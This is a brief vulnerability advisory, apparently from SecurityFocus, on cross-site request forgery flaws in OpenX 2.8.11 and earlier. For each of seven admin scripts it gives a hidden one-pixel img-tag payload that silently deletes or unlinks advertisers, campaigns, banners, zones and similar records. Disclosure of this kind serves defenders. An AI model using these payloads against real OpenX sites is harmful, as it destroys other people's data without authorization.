source: http://www.securityfocus.com/bid/66251/info

OpenX is prone to multiple cross-site request-forgery vulnerabilities.

Exploiting these issues may allow a remote attacker to perform certain unauthorized actions. This may lead to further attacks.

OpenX 2.8.11 and prior versions are vulnerable. 

File: admin/agency-user-unlink.php
POC: 

<img src='http://site/admin/agency-user-unlink.php?agencyid=1&userid=18' width="1" height="1" border="0">

File: admin/advertiser-delete.php
POC:
<img src='http://site/admin/advertiser-delete.php?clientid=10' width="1" height="1" border="0">

File: admin/banner-delete.php
POC:
<img
src='http://site/admin/banner-delete.php?clientid=2&campaignid=7&bannerid=16'
width="1" height="1" border="0">

File: admin/campaign-delete.php
POC:
<img src='http://site/admin/campaign-delete.php?clientid=2&campaignid=11' width="1" height="1" border="0">

File: admin/channel-delete.php  
POC:
<img
src='http://site/admin/channel-delete.php?affiliateid=1&channelid=6'
width="1" height="1" border="0">

 
File: admin/affiliate-delete.php
POC:
<img
src='http://site/admin/affiliate-delete.php?affiliateid=9' width="1" height="1"
border="0">

 
File: admin/zone-delete.php
POC:
<img
src='http://site/admin/zone-delete.php?affiliateid=1&zoneid=11'
width="1" height="1" border="0">